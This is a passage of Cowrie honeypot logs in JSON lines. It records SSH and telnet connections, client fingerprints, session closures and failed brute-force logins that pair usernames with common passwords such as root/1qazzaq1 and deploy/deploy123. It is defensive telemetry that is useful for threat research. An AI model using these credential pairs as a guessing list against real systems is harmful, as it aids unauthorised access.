0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:28:57.989647Z","src_ip":"192.109.200.237","session":"ca57ba64808a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"oscar","password":"oscar123","message":"login attempt [oscar/oscar123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:28:58.236844Z","src_ip":"192.109.200.237","session":"ca57ba64808a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:28:59.322321Z","src_ip":"192.109.200.237","session":"ca57ba64808a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":40820,"dst_ip":"10.17.0.5","dst_port":23,"session":"06f525de1458","protocol":"telnet","message":"New connection: 50.6.8.71:40820 (10.17.0.5:23) [session: 06f525de1458]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:29:00.560010Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.27.238.116","src_port":56230,"dst_ip":"10.17.0.5","dst_port":22,"session":"47b8369a2e98","protocol":"ssh","message":"New connection: 103.27.238.116:56230 (10.17.0.5:22) [session: 47b8369a2e98]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:29:00.771943Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:29:00.779583Z","src_ip":"103.27.238.116","session":"47b8369a2e98","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:29:01.046022Z","src_ip":"103.27.238.116","session":"47b8369a2e98","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":49090,"dst_ip":"159.203.135.109","dst_port":22,"session":"3d72f505d588","protocol":"ssh","message":"New connection: 192.109.200.237:49090 (159.203.135.109:22) [session: 3d72f505d588]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:29:01.373935Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:29:01.379149Z","src_ip":"192.109.200.237","session":"3d72f505d588","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:29:01.461296Z","src_ip":"192.109.200.237","session":"3d72f505d588","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.149.28.157","src_port":45322,"dst_ip":"10.17.0.5","dst_port":22,"session":"055bbe5375ca","protocol":"ssh","message":"New connection: 103.149.28.157:45322 (10.17.0.5:22) [session: 055bbe5375ca]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:29:01.541416Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:29:01.546206Z","src_ip":"103.149.28.157","session":"055bbe5375ca","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"deploy","password":"deploy123","message":"login attempt [deploy/deploy123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:29:01.710824Z","src_ip":"192.109.200.237","session":"3d72f505d588","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:29:01.795057Z","src_ip":"103.149.28.157","session":"055bbe5375ca","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"combat123654","message":"login attempt [root/combat123654] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:29:01.845778Z","src_ip":"103.27.238.116","session":"47b8369a2e98","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":42.67518186569214,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:29:01.884526Z","src_ip":"50.6.8.71","session":"10bc9c509862","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"kfhbcf","message":"login attempt [root/kfhbcf] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:29:02.597707Z","src_ip":"103.149.28.157","session":"055bbe5375ca","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:29:02.795964Z","src_ip":"192.109.200.237","session":"3d72f505d588","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:29:03.114581Z","src_ip":"103.27.238.116","session":"47b8369a2e98","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:29:03.849299Z","src_ip":"103.149.28.157","session":"055bbe5375ca","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":37.99834132194519,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:29:04.393162Z","src_ip":"50.6.8.71","session":"01bbb1d66778","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":49096,"dst_ip":"159.203.135.109","dst_port":22,"session":"ecc72abc7ec5","protocol":"ssh","message":"New connection: 192.109.200.237:49096 (159.203.135.109:22) [session: ecc72abc7ec5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:29:05.200062Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:29:05.211791Z","src_ip":"192.109.200.237","session":"ecc72abc7ec5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:29:05.298849Z","src_ip":"192.109.200.237","session":"ecc72abc7ec5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Aa@123456","message":"login attempt [root/Aa@123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:29:05.549272Z","src_ip":"192.109.200.237","session":"ecc72abc7ec5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:29:06.635034Z","src_ip":"192.109.200.237","session":"ecc72abc7ec5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":49110,"dst_ip":"159.203.135.109","dst_port":22,"session":"58ffc845e3d3","protocol":"ssh","message":"New connection: 192.109.200.237:49110 (159.203.135.109:22) [session: 58ffc845e3d3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:29:08.756205Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:29:08.761335Z","src_ip":"192.109.200.237","session":"58ffc845e3d3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:29:08.844240Z","src_ip":"192.109.200.237","session":"58ffc845e3d3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"almalinux","password":"almalinux","message":"login attempt [almalinux/almalinux] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:29:09.091198Z","src_ip":"192.109.200.237","session":"58ffc845e3d3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:29:10.200389Z","src_ip":"192.109.200.237","session":"58ffc845e3d3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.27.238.118","src_port":40592,"dst_ip":"10.17.0.5","dst_port":22,"session":"76a07b792366","protocol":"ssh","message":"New connection: 103.27.238.118:40592 (10.17.0.5:22) [session: 76a07b792366]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:29:12.101012Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:29:12.105023Z","src_ip":"103.27.238.118","session":"76a07b792366","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":37990,"dst_ip":"159.203.135.109","dst_port":22,"session":"07f1c8bf1bca","protocol":"ssh","message":"New connection: 192.109.200.237:37990 (159.203.135.109:22) [session: 07f1c8bf1bca]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:29:12.234470Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:29:12.239171Z","src_ip":"192.109.200.237","session":"07f1c8bf1bca","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:29:12.324314Z","src_ip":"192.109.200.237","session":"07f1c8bf1bca","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:29:12.381287Z","src_ip":"103.27.238.118","session":"76a07b792366","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ossuser","password":"Changeme_123","message":"login attempt [ossuser/Changeme_123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:29:12.729343Z","src_ip":"192.109.200.237","session":"07f1c8bf1bca","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1qazzaq1","message":"login attempt [root/1qazzaq1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:29:13.216805Z","src_ip":"103.27.238.118","session":"76a07b792366","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:29:13.813861Z","src_ip":"192.109.200.237","session":"07f1c8bf1bca","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:29:14.495909Z","src_ip":"103.27.238.118","session":"76a07b792366","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":37.5206732749939,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:29:14.922654Z","src_ip":"50.6.8.71","session":"f0b250c23df6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":38004,"dst_ip":"159.203.135.109","dst_port":22,"session":"960626c9f30a","protocol":"ssh","message":"New connection: 192.109.200.237:38004 (159.203.135.109:22) [session: 960626c9f30a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:29:15.874586Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:29:15.879605Z","src_ip":"192.109.200.237","session":"960626c9f30a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:29:15.962868Z","src_ip":"192.109.200.237","session":"960626c9f30a","protocol":"ssh"}
